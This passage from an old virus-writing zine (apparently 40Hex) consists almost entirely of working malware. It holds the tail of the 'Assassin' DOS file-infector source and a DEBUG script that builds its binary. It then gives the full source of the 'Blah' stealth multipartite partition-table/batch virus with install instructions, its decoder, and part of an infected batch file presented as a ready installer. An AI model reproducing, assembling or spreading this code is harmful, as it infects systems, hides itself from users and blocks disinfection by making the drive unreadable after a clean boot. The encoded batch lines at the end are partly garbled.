cmp ax,bx
jne not_our_mcb
add word ptr ds:[di+3],low_mem_para+1
not_our_mcb:
cmp ax,cx
jne not_boot
mov ds:[di+1],dx
mov di,8
push ds
pop es
mov si,di
mov ds,ax
mov cx,di
rep movsb
push dx
add ax,10h+1
push ax
jmp short search
not_boot:
cmp byte ptr ds:[di],4dh
je mcb
cmp byte ptr ds:[di],5ah
je mcb
mov sp,low_mem_size
sub dx,mem_para+1
mov es,dx
sub dx,cx
dec dx
mov ds,cx
mov ds:[di+3],dx
mov si,100h
mov cx,vir_size
rep movs byte ptr es:[di],cs:[si]
push es
search:
mov ax,352ah
int 21h
pop ds
push ds
mov di,offset i21_table
mov ds:old2a[di]-i21_table,bx
mov ds:old2a[di+2]-i21_table,es
mov ah,25h
mov dx,offset int2a
int 21h
mov dx,bx
push es
pop ds
int 21h
pop es
lds si,es:[di]
search_table:
lodsw
search_table_:
dec si
cmp ax,8b2eh
jne search_table
lodsw
cmp ah,9fh
jne search_table_
movsw
scasw
lea ax,[si-1e0h]
stosw
xchg si,ax
mov word ptr ds:[si],0eacbh
mov word ptr ds:[si+2],offset i21_3e
mov ds:[si+4],es
mov byte ptr ds:[si+6],0eah
mov word ptr ds:[si+7],offset i21_3f
mov ds:[si+9],es
call set21
mov cx,bp
jcxz boot
mov ds,bp
xor si,si
l2:
lodsw
dec si
or ax,ax
jnz l2
lea dx,[si+3]
mov di,offset pcb+4+100h
push cs
pop es
mov ax,cs
stosw
scasw
stosw
scasw
stosw
mov ax,4b00h
mov bx,offset pcb+100h
int 21h
mov ah,4dh
int 21h
mov ah,4ch
int 21h
boot:
pop dx
mov ah,26h
int 21h
mov bl,3
mov ss:[bp+18h+5],bl
mov ax,1216h
int 2fh
inc bp
mov es:[di],bp
mov ss,dx
mov ds,dx
mov ax,4200h
mov bl,5
cwd
int 21h
mov ah,3fh
dec cx
inc dh
int 21h
mov ah,3eh
int 21h
push ds
pop es
push ds
push dx
retf
read_cmp proc
mov cx,vir_size
mov dx,cx
push cs
pop ds
call read
jc rc_exit
push cx
xor si,si
if (vir_size and 0ff00h) eq (constant_size and 0ff00h)
mov cl,constant_size and 0ffh
else
mov cx,constant_size
endif
compare:
lodsb
cmp al,ds:read_buffer[si-1]
loope compare
clc
pop cx
rc_exit:
ret
read_cmp endp
read proc
push bx
push dx
push ds
mov ax,1229h
int 2fh
pop ds
pop dx
pop bx
ret
read endp
write proc
mov bp,40h*2
i21_func proc
pop ax
push bx
push cs
push ax
push cs
pop ds
push ds:i21_far_jmp
les di,dword ptr ds:i21_table
push es
push es:[di+bp]
retf
i21_func endp
write endp
set2324_restore21 proc
push ds
mov si,23h*4
xor ax,ax
mov ds,ax
mov di,offset old23
push cs
pop es
mov ax,offset int23
mov bp,2
sm_23_1:
movsw
mov ds:[si-2],ax
movsw
mov ds:[si-2],cs
if ((int23-start) and 0ff00h) eq ((int24-start) and 0ff00h)
mov al,(offset int24-offset start) and 0ffh
else
mov ax,offset int24
endif
dec bp
jnz sm_23_1
mov si,di
push cs
pop ds
mov bp,-4
rs_1:
inc bp
inc bp
les di,dword ptr ds:i21_table
mov di,es:[di+bp+2+3eh*2]
movsb
movsw
jnz rs_1
pop ds
pop bp
pop ax
push es
push ax
get_sft proc
push bx
mov ax,1220h
int 2fh
mov bl,es:[di]
mov ax,1216h
int 2fh
pop bx
jmp bp
get_sft endp
set2324_restore21 endp
set21_restore23 proc
mov si,offset old23
push cs
pop ds
mov di,23h*4
xor cx,cx
mov es,cx
mov cl,4
rep movsw
push cs
pop es
set21 proc ; es = vir segment
push ax
mov bx,-4
mov di,offset i21_3e_data
mov cx,es:i21_far_jmp[di]-i21_3e_data
inc cx
sm_1:
inc bx
lds si,dword ptr es:i21_table
mov ax,ds:[si+bx+3+3eh*2]
mov si,ax
movsb
movsw
xchg si,ax
sub ax,cx
neg ax
mov byte ptr ds:[si],0e9h
mov ds:[si+1],ax
add cx,5
inc bx
jnz sm_1
pop ax
ret
set21 endp
set21_restore23 endp
i21_3e:
call set2324_restore21
jc jc_exit
push es
pop ds
cmp word ptr ds:[di],1
jne jne_exit
les ax,dword ptr ds:[di+28h]
mov dx,es
cmp ax,'OC'
jne exe
mov al,'M'
jmp short com
exe:
cmp ax,'XE'
jne jne_exit
com:
cmp dl,al
jne_exit:
jne jne_exit_
les ax,dword ptr ds:[di+11h]
cmp ax,vir_size
jc_exit:
jb jc_exit_
cmp ax,0ffffh-(vir_size+2)
ja jne_exit_
mov dx,es
or dx,dx
jne_exit_:
jnz i21_3e_exit
mov ds:[di+15h],dx
mov ds:[di+17h],dx
les si,dword ptr ds:[di+7]
les si,dword ptr es:[si+2]
add ax,si
dec ax
div si
mov cx,es
inc cx
div cl
or ah,ah
jz i21_3e_exit
sub cl,ah
cmp cl,vir_sector
jc_exit_:
jb i21_3e_exit
les ax,ds:[di+4]
push ax
push es
and ax,1000000000011100b
jnz close_
mov byte ptr ds:[di+2],2
mov ds:[di+4],al
call read_cmp
jbe close
mov si,cx
cmp_device:
dec si
lodsw
inc ax
loopnz cmp_device
jcxz not_device
dec ax
cmp ax,ds:[si]
je close
jmp short cmp_device
not_device:
mov ax,es:[di+11h]
mov es:[di+15h],ax
mov cx,vir_size+2
mov dx,offset id
call write
pop bx
jc close
sub es:[di+11h],ax
dec cx
dec cx
cwd
mov es:[di+15h],dx
call write
pop bx
close:
push es
pop ds
close_:
pop ds:[di+6]
pop ds:[di+4]
mov bp,0dh*2
call i21_func
pop bx
i21_3e_exit:
mov ax,1227h
int 2fh
jmp i21_3f_exit
i21_3f:
call set2324_restore21
les ax,dword ptr es:[di+15h]
push ax
push es
call read
pop bp
pop si
cmc
jnc jnc_exit
test word ptr es:[di+4],1000000000011000b
jnz jnz_3f_exit
or bp,bp
jnz_3f_exit:
jnz i21_3f_exit
sub si,vir_size
jnc_exit:
jae i21_3f_exit
xor cx,cx
xchg cx,es:[di+15h]
push cx
xor cx,cx
xchg cx,es:[di+17h]
push cx
push ax
push si
push dx
push ds
call read_cmp
pop ds
pop dx
jc i21_3f_exit_1
jne i21_3f_exit_1
push dx
push ds
push es
pop ds
mov ax,ds:[di+11h]
mov ds:[di+15h],ax
add word ptr ds:[di+11h],vir_size+2
mov cl,2
mov dx,offset read_buffer
push cs
pop ds
call read
pop ds
pop dx
jc i21_3f_exit_2
cmp word ptr cs:read_buffer,'SD'
je i21_3f_l0
mov ax,1218h
int 2fh
or byte ptr ds:[si+16h],1
jmp short i21_3f_exit_2
i21_3f_l0:
pop si
neg si
mov ax,es:[di+11h]
sub ax,si
mov es:[di+15h],ax
pop cx
push cx
push cx
cmp cx,si
jb i21_3f_l1
mov cx,si
i21_3f_l1:
call read
i21_3f_exit_2:
sub word ptr es:[di+11h],vir_size+2
i21_3f_exit_1:
pop ax
pop ax
pop es:[di+17h]
pop es:[di+15h]
i21_3f_exit:
call set21_restore23
push ax
mov ax,1218h
int 2fh
mov ax,ds:[si+16h]
shr ax,1
pop ax
mov ds:[si],ax
retf
int23:
call set21_restore23
jmp dword ptr cs:old23
int24:
xor ax,ax
iret
int2a:
pop cs:i21_table
pop cs:i21_table[2]
sub sp,4
jmp dword ptr cs:old2a
msg db ' This is [Assassin] written by Dark Slayer '
db 'in Keelung. Taiwan <R.O.C> '
constant:
pcb dw 0,80h,?,5ch,?,6ch,?
id db 'DS'
vir_end:
read_buffer db vir_size dup(?)
old2a dw ?,?
old23 dw ?,?
old24 dw ?,?
i21_3e_data db 3 dup(?)
i21_3f_data db 3 dup(?)
i21_table dw ?,?
i21_far_jmp dw ?
memory_end:
end start
----------------------
N assassin.com
E 0100 33 FF 8B 55 02 80 EE 05 B4 26 CD 21 8B 6D 2C B4
E 0110 4A BB 8A 00 CD 21 B4 52 CD 21 26 8B 5F FE 8C C8
E 0120 48 8C D9 8E DB 43 8B D3 03 5D 03 0B ED 75 24 3B
E 0130 C3 75 05 81 45 03 8B 00 3B C1 75 17 89 55 01 BF
E 0140 08 00 1E 07 8B F7 8E D8 8B CF F3 A4 52 05 11 00
E 0150 50 EB 24 80 3D 4D 74 C9 80 3D 5A 74 C4 BC 95 08
E 0160 83 EA 7B 8E C2 2B D1 4A 8E D9 89 55 03 BE 00 01
E 0170 B9 BF 03 F3 2E A4 06 B8 2A 35 CD 21 1F 1E BF 8F
E 0180 07 89 5D EE 8C 45 F0 B4 25 BA 57 03 CD 21 8B D3
E 0190 06 1F CD 21 07 26 C5 35 AD 4E 3D 2E 8B 75 F9 AD
E 01A0 80 FC 9F 75 F4 A5 AF 8D 84 20 FE AB 96 C7 04 CB
E 01B0 EA C7 44 02 EA 01 8C 44 04 C6 44 06 EA C7 44 07
E 01C0 A2 02 8C 44 09 E8 F6 00 8B CD E3 29 8E DD 33 F6
E 01D0 AD 4E 0B C0 75 FA 8D 54 03 BF B3 04 0E 07 8C C8
E 01E0 AB AF AB AF AB B8 00 4B BB AF 04 CD 21 B4 4D CD
E 01F0 21 B4 4C CD 21 5A B4 26 CD 21 B3 03 88 5E 1D B8
E 0200 16 12 CD 2F 45 26 89 2D 8E D2 8E DA B8 00 42 B3
E 0210 05 99 CD 21 B4 3F 49 FE C6 CD 21 B4 3E CD 21 1E
E 0220 07 1E 52 CB B9 BF 03 8B D1 0E 1F E8 11 00 72 0E
E 0230 51 33 F6 B1 AF AC 3A 84 BE 03 E1 F9 F8 59 C3 53
E 0240 52 1E B8 29 12 CD 2F 1F 5A 5B C3 BD 80 00 58 53
E 0250 0E 50 0E 1F FF 36 93 07 C4 3E 8F 07 06 26 FF 33
E 0260 CB 1E BE 8C 00 33 C0 8E D8 BF 81 07 0E 07 B8 4C
E 0270 03 BD 02 00 A5 89 44 FE A5 8C 4C FE B0 54 4D 75
E 0280 F3 8B F7 0E 1F BD FC FF 45 45 C4 3E 8F 07 26 8B
E 0290 7B 7E A4 A5 75 F2 1F 5D 58 06 50 53 B8 20 12 CD
E 02A0 2F 26 8A 1D B8 16 12 CD 2F 5B FF E5 BE 81 07 0E
E 02B0 1F BF 8C 00 33 C9 8E C1 B1 04 F3 A5 0E 07 50 BB
E 02C0 FC FF BF 89 07 26 8B 4D 0A 41 43 26 C5 36 8F 07
E 02D0 8B 40 7F 8B F0 A4 A5 96 2B C1 F7 D8 C6 04 E9 89
E 02E0 44 01 83 C1 05 43 75 E2 58 C3 E8 74 FF 72 24 06
E 02F0 1F 83 3D 01 75 15 C4 45 28 8C C2 3D 43 4F 75 04
E 0300 B0 4D EB 05 3D 45 58 75 02 3A D0 75 11 C4 45 11
E 0310 3D BF 03 72 2B 3D 3E FC 77 04 8C C2 0B D2 75 7A
E 0320 89 55 15 89 55 17 C4 75 07 26 C4 74 02 03 C6 48
E 0330 F7 F6 8C C1 41 F6 F1 0A E4 74 5F 2A CC 80 F9 02
E 0340 72 58 C4 45 04 50 06 25 1C 80 75 41 C6 45 02 02
E 0350 88 45 04 E8 CE FE 76 33 8B F1 4E AD 40 E0 FB E3
E 0360 07 48 3B 04 74 25 EB F2 26 8B 45 11 26 89 45 15
E 0370 B9 C1 03 BA BD 03 E8 D2 FE 5B 72 0F 26 29 45 11
E 0380 49 49 99 26 89 55 15 E8 C1 FE 5B 06 1F 8F 45 06
E 0390 8F 45 04 BD 1A 00 E8 B5 FE 5B B8 27 12 CD 2F E9
E 03A0 98 00 E8 BC FE 26 C4 45 15 50 06 E8 91 FE 5D 5E
E 03B0 F5 73 10 26 F7 45 04 18 80 75 02 0B ED 75 7B 81
E 03C0 EE BF 03 73 75 33 C9 26 87 4D 15 51 33 C9 26 87
E 03D0 4D 17 51 50 56 52 1E E8 4A FE 1F 5A 72 52 75 50
E 03E0 52 1E 06 1F 8B 45 11 89 45 15 81 45 11 C1 03 B1
E 03F0 02 BA BF 03 0E 1F E8 46 FE 1F 5A 72 2D 2E 81 3E
E 0400 BF 03 44 53 74 0B B8 18 12 CD 2F 80 4C 16 01 EB
E 0410 19 5E F7 DE 26 8B 45 11 2B C6 26 89 45 15 59 51
E 0420 51 3B CE 72 02 8B CE E8 15 FE 26 81 6D 11 C1 03
E 0430 58 58 26 8F 45 17 26 8F 45 15 E8 6F FE 50 B8 18
E 0440 12 CD 2F 8B 44 16 D1 E8 58 89 04 CB E8 5D FE 2E
E 0450 FF 2E 81 07 33 C0 CF 2E 8F 06 8F 07 2E 8F 06 91
E 0460 07 83 EC 04 2E FF 2E 7D 07 20 54 68 69 73 20 69
E 0470 73 20 5B 41 73 73 61 73 73 69 6E 5D 20 77 72 69
E 0480 74 74 65 6E 20 62 79 20 44 61 72 6B 20 53 6C 61
E 0490 79 65 72 20 69 6E 20 4B 65 65 6C 75 6E 67 2E 20
E 04A0 54 61 69 77 61 6E 20 3C 52 2E 4F 2E 43 3E 20 00
E 04B0 00 80 00 00 00 5C 00 00 00 6C 00 00 00 44 53
R CX
03BF
W
Q
----------------------
40Hex Number 14 Volume 5 Issue 1 File 005
The Blah virus is a memory-resident, stealth, multipartite partition table/
batch file virus. What follows is the raw source file. After the source file
is a batch file infected with Blah which demonstrates the workings of the
virus. To install the virus, simply run this batch file. Or you can assemble
the source, run the output file, and then execute a batch file. Be cautious
when running this virus, however, since it immediately infects the partition
table and your hard drive will become unavailable should you boot from
diskette. You have been warned!
comment ~
The Blah virus
The world's only stealth, multipartite PT/BAT infector
Written by Dark Angel at the end of 1994
This virus is "mostly stealth" and "mostly harmless". It infects the
partition table on hd0 as well as batch files.
To install the virus, simply assemble this source to a COM file and run the
output. The virus will then reside on the partition table of the first hard
drive of the computer.
The partition table portion of the virus loads itself into the slack space
between the partition table and the first disk partition. The virus assumes
the first disk partition is the one closest to the partition table, which is
reasonable. It only infects the partition table on the first physical hard
drive, since that will always be loaded anyway. The original partition table
is stored following the virus code in the aforementioned slack space.
Since the partition table infector does not copy the partition table itself
into its code, several effects result. First, the system will not recognise
the hard drive if it is booted from a floppy. This can be considered a useful
side-effect, since it prevents disinfection via a clean boot. Additionally,
when modifying the virus, one must take care to keep the word 0AA55 at offset
01FE in the file, or else the BIOS will not recognise the partition table as
a valid one.
If you edit a batch file while the virus is in memory, the batch file will
become infected by the virus, but will load into memory as if it were
uninfected. When you save the file, it will remain uninfected. However, once
you run the batch file, it will again become infected.
This virus adds 3004 bytes to batch files. However, this file will assemble
to 1148 bytes, since an encoded form of this file is written to batch files.
The virus prepends its own code to the batch files that it infects. This
code consists of lines which 1. create an executable file 2. run this
executable file 3. delete the executable file and 4. reruns the batch file.
The code which creates the executable file is simply a bunch of ECHO
statements which are redirected into a file. These characters, when run,
will run the code you see below. The bytes following the ECHO consist of
code which reassembles and runs the code below and the data of the virus,
which is encoded in a special printable text-only format. The virus removes
this file after it has executed it in order to cover its traces. Finally,
the virus runs the batch file again. This is to allow the stealth to work
properly. The stealth works by bumping up all read requests on infected
files by an amount equal to the size of the virus prepended text. The stealth
is designed to not take effect until after the third file open it sees.
Since DOS opens batch files each time it needs to execute the next command,
this is the equivalent of waiting until after two statements have executed.
This leaves enough time to remove the temporary file and reexecute the batch
file. Now the stealth kicks in and DOS doesn't even see the virus code in
the batch file.
The virus hides the filelength increase on directory searches (in .BAT files
only, of course). It also hides itself from reads (with handle calls only).
It infects when a .BAT file is opened. It stamps files with a 62 second mark,
but that is for the findfirst/findnext routine only. The checks for previous
infection do not make any assumptions based on the file creation time.
The virus also prevents overwriting of itself in the partition table. It also
redirects attempts to view absolute sector 0. However, it does not try to
stop reads to other parts of the disk that are infected, i.e. the sectors
immediately following the first.
The source code to the decoder (the raw text is included in the virus) can
be found at the end.
Anyway, this virus was written mostly because I felt like doing something
lame. I think I succeeded, with only a modest effort.
Dark Angel, Phalcon/Skism, 31 December 1994
Happy New Year's!
~
.model tiny
.code
.radix 16
org 0
our_buffer label byte
org 80
line label byte
org 100
viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f
resK = (end_all - our_buffer + 3ff) / 400
resP = resK * 40
sector_length = (heap - blah + 1ff) / 200
blah: xor bp,bp
xor si,si
cmp [si],20CDh ; check if there is a PSP
jz in_com ; to see if we are in COM or
; boot (don't just check SP
; since COM might not load in
; a full segment if memory is
; sparse)
inc bp
; hey! we're in the boot sector or the partition table
; assume in partition table for the time being
push si
cli
pop ss
mov sp,-2 ; doesn't really matter
sti
mov ax,200 + sector_length
mov es,si
mov bx,7c00 + 200
mov cx,2
mov dx,80
int 13
mov dx,0f800
db 0ea
dw offset install, 7b0
in_com: mov dx,0f904
mov ah,62 ; get the PSP
int 21 ; also tells existing copies
; to disable themselves
; (for NetWare compatability)
dec bx ; go to MCB so we can
mov ds,bx ; twiddle with it
sub word ptr [si+3],resP ; reserve two K of memory
sub word ptr [si+12],resP ; in DOS for the virus
install: mov cs:init_flag,dl
mov byte ptr cs:i13_patch,dh
mov ds,si ; reserve two K of memory
mov dx,word ptr ds:413
sub dx,resK
mov word ptr ds:413,dx ; from the BIOS count
mov cl,6
shl dx,cl ; K -> paragraph
les ax,ds:84
mov cs:old_i21,ax
mov cs:old_i21+2,es
les ax,ds:4c
mov cs:old_i13,ax
mov cs:old_i13+2,es
mov es,dx
push cs
pop ds
mov si,offset blah
mov di,si
mov cx,(offset end_zopy - blah + 1) / 2
rep movsw
mov es,cx
mov es:4c,offset i13
mov es:4e,dx
or bp,bp
jz exit_com
exit_boot: mov ax,201 ; read the original partition
xor cx,cx ; table to 0:7C00
mov dx,80 ; since the i13 handler is in
mov es,cx ; place, we can load from where
inc cx ; the partition table should
mov bx,7c00 ; be, instead of where it
pushf
push es bx ; actually is
jmp dword ptr [bp+4bh] ; int 13 / iret
exit_com: mov es:84,offset i21
mov es:86,dx
infect_hd: push ax cx dx bx ds es
push cs cs
pop es ds
mov ax,201
mov bx,100 + (sector_length*200)
mov cx,1
mov dx,80
call call_i13 ; get original partition table
adj_ofs = (100 + (sector_length*200))
cmp word ptr cs:[adj_ofs+decoder-blah],'e@'
jz already_infected
mov al,ds:[adj_ofs+1C0]
cbw
or ax,ds:[adj_ofs+1C2]
jnz enough_room
cmp byte ptr ds:[adj_ofs+1C1],sector_length+1
jbe already_infected ; not enough room for virus
enough_room: mov ax,301 + sector_length ; write to disk
mov bx,100 ; cx = 1, dx = 80 already
call call_i13
already_infected:
pop es ds bx dx cx ax
ret
db 'Blah virus',0
db '(DA/PS)',0
; I indulged myself in writing the decoder; it's rather much larger than it
; needs to be. This was so I could insert random text strings into the code.
; The decoder creates a file which, when run, will execute the encoded file.
; In this case, we are encoding the virus. See the beginning for a complete
; explanation of how the virus works.
decoder db '@echo <20>PSBAT!<21><>PS<50>'
fsize dw -1 * (heap - blah)
db 'XYZ<59><5A>U<EFBFBD>S<01> 2<><32>H<EFBFBD>ج,AêMt<02><> <0B>t<05><><EFBFBD>>',0ba,'.com',0Dh,0A
db '@echo <20><><EFBFBD>2<EFBFBD>YP<59><50>󤫸<EFBFBD><F3A4ABB8>2૾PS<50>DB<44><42>DA<44>'
endline: db '>>',0ba,'.com',0Dh,0A
; The next line is to ease the coding. This way, the same number of statements
; pass between the running of the temporary program and the reloading of the
; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running
; the temporary file installs the virus into memory. Note the following lines
; are never seen by the command interpreter if the virus is already resident.
enddecoder: db '@if %0. == . ',0ba,0Dh,0A
db '@',0ba,0Dh,0A
db '@del ',0ba,'.com',0Dh,0A
; The next line is necessary because autoexec.bat is loaded with %0 == NULL
; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT,
; which would be a shame.
db '@if %0. == . autoexec',0Dh,0A
db '@%0',0Dh,0A
endcleanup:
chain_i13: push [bp+6]
call dword ptr cs:old_i13
pushf
pop [bp+6]
ret
call_i13: pushf
call dword ptr cs:old_i13
ret
write: mov ah,40
calli21: pushf
call dword ptr cs:old_i21
ret
check_signature:and word ptr es:[di+15],0
push es di cs cs
pop ds es
mov ah,3f
cwd ; mov dx,offset our_buffer
mov cx,enddecoder - decoder
call calli21
cld
mov si,offset decoder
mov di,dx
mov cx,enddecoder - decoder
rep cmpsb
pop di es
ret
i13: clc ; this is patched to
jnc i13_patch ; disable the i13 handler
jmp disabled_i13 ; this is a stupid hiccup
i13_patch: clc ; this is patched to once
jc multipartite_installed ; i21 is installed
push ax bx ds es
mov ax,0AA55 ; offset 02FE of the virus
; this is the PT signature
xor ax,ax
mov es,ax
lds bx,es:84
mov ax,ds
cmp ax,cs:old_i21+2
jz not_DOS_yet
or ax,ax ; Gets set to address in zero
jz not_DOS_yet ; segment temporarily. ignore.
cmp ax,800
ja not_DOS_yet
cmp ax,es:28*4+2 ; make sure int 28 handler
jnz not_DOS_yet ; the same (OS == DOS?)
cmp bx,cs:old_i21
jz not_DOS_yet
install_i21: push cs
pop ds
mov ds:old_i21,bx
mov ds:old_i21+2,ax
mov es:84,offset i21
mov es:86,cs
inc byte ptr ds:i13_patch
not_DOS_yet: pop es ds bx ax
multipartite_installed:
push bp
mov bp,sp
cmp cx,sector_length + 1 ; working on virus area?
ja jmp_i13
cmp dx,80
jnz jmp_i13
cmp ah,2 ; reading partition table?
jz stealth_i13
not_read: cmp ah,3 ; write over partition table?
jnz jmp_i13
call infect_hd
push si cx bx ax
mov al,1
cmp cl,al ; are we working on partition
jnz not_write_pt ; table at all?
mov cx,sector_length + 1
call chain_i13
jc alt_exit_i13
not_write_pt: pop ax
push ax
cbw
sub al,sector_length + 2 ; calculate number of remaining
add al,cl ; sectors to write
js alt_exit_i13
jz alt_exit_i13
push cx
sub cx,sector_length + 2 ; calculate number of sectors
neg cx ; skipped
addd: add bh,2 ; and adjust buffer pointer
loop addd ; accordingly
pop cx
or ah,1 ; ah = 1 so rest_stealth makes
jmp short rest_stealth ; it a write
jmp_i13: pop bp
disabled_i13: jmp dword ptr cs:old_i13
stealth_i13: push si cx bx ax
call infect_hd
mov si,bx
mov al,1
cmp cl,al
jnz not_read_pt
mov cx,sector_length + 1
call chain_i13
jc alt_exit_i13
add bh,2 ; adjust buffer ptr
not_read_pt: pop ax
push ax
push di ax
mov di,bx
mov ah,0
add al,cl
cmp al,sector_length + 2
jb not_reading_more
mov al,sector_length + 2
not_reading_more:cmp cl,1
jnz not_pt
dec ax
not_pt: sub al,cl
jz dont_do_it ; resist temptation!
mov cl,8
shl ax,cl ; zero out sectors
mov cx,ax
cbw ; clear ax
rep stosw
mov bx,di ; adjust buffer
dont_do_it: pop ax di
mov ah,0
mov cl,9
sub si,bx
neg si
shr si,cl
sub ax,si
jz alt_exit_i13
rest_stealth: sub ax,-200
mov cx,sector_length + 2
call chain_i13
alt_exit_i13: pop bx
mov al,bl
pop bx cx si bp
iret
i24: mov al,3
iret
chain_i21: push [bp+6] ; push flags on stack again
call dword ptr cs:old_i21
pushf ; put flags back onto caller's
pop [bp+6] ; interrupt stack area
ret
infect_bat: mov cx,200 ; conquer the holy batch file!
move_up: sub bp,cx
jns $+6
add cx,bp
xor bp,bp
mov es:[di+15],bp ; move file pointer
mov ah,3f ; read in portion of the file
mov dx,offset big_buffer
call calli21
add word ptr es:[di+15],viruslength
sub word ptr es:[di+15],ax
call write ; move the data up
or bp,bp
jnz move_up
move_up_done: mov word ptr es:[di+15],bp ; go to start of file
mov cx,enddecoder - decoder
mov dx,offset decoder
call write
push es di cs
pop es
mov bp,heap - blah
mov si,offset blah
encode_lines: mov di,offset line
mov cx,20
encode_line: lodsb
push ax
and ax,0F0
inc ax
stosb
pop ax
and ax,0F
add al,'A'
stosb
dec bp
jz finished_line
loop encode_line
finished_line: mov cx,6
mov dx,offset decoder
call write
mov cx,di
mov dx,offset line
sub cx,dx
call write
mov cx,enddecoder-endline
mov dx,offset endline
call write
or bp,bp
jnz encode_lines
pop di es
mov cx,endcleanup - enddecoder
mov dx,offset enddecoder
call write
ret
; check neither extension nor timestamp in case file was renamed or
; something like that
; will hang without this stealth because of the line
; @%0 that it adds to batch files
handle_read: push es di si ax cx dx ds bx
xor si,si
cmp cs:init_flag,0
jnz dont_alter_read
mov ax,1220
int 2f
jc dont_alter_read
xor bx,bx
mov bl,es:di
mov ax,1216
int 2f ; es:di now -> sft
jc dont_alter_read
pop bx ; restore the file handle
push bx
push es:[di+15] ; save current offset
call check_signature
mov si,viruslength
pop bx
jz hide_read
xor si,si
hide_read: add bx,si
mov es:[di+15],bx
dont_alter_read:pop bx ds dx cx ax
call chain_i21
sub es:[di+15],si
pop si di es
_iret: pop bp
iret
handle_open: cmp cs:init_flag,0
jz keep_going
dec cs:init_flag
keep_going: call chain_i21
jc _iret
push ax cx dx bp si di ds es
xchg si,ax ; filehandle to si
mov ax,3524
int 21
push es bx ; save old int 24 handler
xchg bx,si ; filehandle back to bx
push bx
mov si,dx ; ds:si->filename
push ds
mov ax,2524 ; set new int 24 handler
push cs
pop ds
mov dx,offset i24
call calli21
pop ds
cld
find_extension: lodsb ; scan filename for extension
or al,al ; no extension?
jz dont_alter_open
cmp al,'.' ; extension?
jnz find_extension
lodsw ; check if it's .bat
or ax,2020
cmp ax,'ab'
jnz dont_alter_open
lodsb
or al,20
cmp al,'t'
jnz dont_alter_open
mov ax,1220 ; if so, get jft entry
int 2f
jc dont_alter_open
xor bx,bx
mov bl,es:di
mov ax,1216 ; now get SFT
int 2f
jc dont_alter_open
pop bx ; recover file handle
push bx
mov bp,word ptr es:[di+11] ; save file size
or bp,bp
jz dont_alter_open
mov byte ptr es:[di+2],2 ; change open mode to r/w
mov ax,word ptr es:[di+0dh] ; get file time
and ax,not 1f ; set the seconds field
or ax,1f
mov word ptr es:[di+0dh],ax
call check_signature
jz dont_alter1open ; infected already!
call infect_bat
dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time
and word ptr es:[di+15],0
mov byte ptr es:[di+2],0 ; restore file open mode
dont_alter_open:pop bx dx ds
mov ax,2524
call calli21
pop es ds di si bp dx cx ax bp
iret
findfirstnext: call chain_i21 ; standard file length
push ax bx si ds es ; hiding
cmp al,-1
jz dont_alter_fffn
mov ah,2f ; get the DTA to es:bx
int 21
push es
pop ds
cmp byte ptr [bx],-1
jnz not_extended
add bx,7
; won't hide if extension is changed, but otherwise gives it away by disk
; accesses
not_extended: cmp word ptr [bx+9],'AB'
jnz dont_alter_fffn
cmp byte ptr [bx+0bh],'T'
jnz dont_alter_fffn
cmp word ptr [bx+1dh],viruslength
jb dont_alter_fffn
mov al,[bx+17]
and al,1f
cmp al,1f
jnz dont_alter_fffn
and byte ptr [bx+17],not 1f
sub word ptr [bx+1dh],viruslength
dont_alter_fffn:pop es ds si bx ax bp
iret
inst_check: cmp bx,0f904
jnz jmp_i21
push si di cx
mov si,offset blah
mov di,100
mov cx,offset i13 - offset blah
db 2e
rep cmpsb
jnz not_inst
inc byte ptr cs:i13 ; disable existing copy of
inc byte ptr cs:i21 ; the virus
not_inst: pop si di cx
jmp short jmp_i21
i21: clc
jc disabled_i21
push bp
mov bp,sp
cmp ah,11
jz findfirstnext
cmp ah,12
jz findfirstnext
cmp ah,62
jz inst_check
cmp ax,3d00
jnz not_open
jmp handle_open
not_open: cmp ah,3f
jnz jmp_i21
jmp handle_read
jmp_i21: pop bp
disabled_i21: db 0ea ; call original int 21
heap: ; g
old_i21 dw ?, ? ; handler
old_i13 dw ?, ?
init_flag db ?
end_zopy:
org 100 + ((end_zopy - blah + 1ff) / 200) * 200
orig_PT db 200 dup (?)
big_buffer db 200 dup (?)
end_all:
end blah
; The complimentary decoder included with every copy of blah
.model tiny
.code
.radix 16
org 100
decode: db '<27>PSBAT!<21>' ; translates to some random code
mov di,offset buffer
db 0bdh ; mov bp, datasize
datasize dw 'Y0'
db 'XYZ' ; more text that is also code
neg bp
push bp
mov si,offset databytes
keep_going: mov cx,2020
xor ch,cl
decode_line: lodsb
dec ax ; tens digit
mov bx,ax
lodsb
sub al,'A'
add ax,bx
stosb
dec bp
jz all_done
loop decode_line
all_done: or bp,bp
jz no_more
lodsw ; skip CRLF
jmp keep_going
db 0Dh,0A ; split file into two lines
no_more: mov ax,0fcfc
xor ah,al
pop cx ; how many bytes to move
push ax
xchg ax,di
mov ax,0a4f3
stosw
mov ax,0ebebh ; flush prefetch queue
xor ah,al
stosw
mov si,offset buffer
mov di,100 + 4144
sub di,'AD'
retn
db 0Dh,0Ah ; split the file s'more
databytes:
org 5350 ; 50/53 == P/S
buffer:
end decode
------
@echo <20>PSBAT!<21><>PS<50><53><EFBFBD>XYZ<59><5A>U<EFBFBD>S<01> 2<><32>H<EFBFBD>ج,AêMt<02><> <0B>t<05><><EFBFBD>><3E>.com
@echo <20><><EFBFBD>2<EFBFBD>YP<59><50>󤫸<EFBFBD><F3A4ABB8>2૾PS<50>DB<44><42>DA<44>>><3E>.com
@echo 1D<31>N1D<31>G<EFBFBD>B1M<31>N!AqE!AAFQG<51>KH<>M<EFBFBD>O<EFBFBD>P<EFBFBD>L<EFBFBD>IDC<>O<EFBFBD>G<EFBFBD>LAqO<71>JCA<>K<EFBFBD>AA>><3E>.com
@echo <20>ND<>KA<>I<EFBFBD>K1OB<>AH<>KE<>J<EFBFBD>EaC<61>N!BAL<41>O<EFBFBD>L<EFBFBD>BaMD<>AA<>BaMC<>AA!O<>I>><3E>.com
@echo GKG!O<>I1G<31>GC<>O<EFBFBD>O<EFBFBD>LGDE<>D<EFBFBD>KD<>JGDE<>BG<>D<EFBFBD>C<EFBFBD>EG<>EA!O<>DC>><3E>.com
@echo G!O<>MGEG<>EGAMA!O<>DGG!O<>MGIG<>O<EFBFBD>COP<>OAB<>L<EFBFBD>O<EFBFBD>J<EFBFBD>OC<>D>><3E>.com
@echo <20>F<EFBFBD>O<EFBFBD>B!G<>HGAMA<>AC!G<>JGAOAL<>NqEE<>IBC1D<31>J<EFBFBD>K<EFBFBD>AA<>O<EFBFBD>BAB<41>LA>><3E>.com
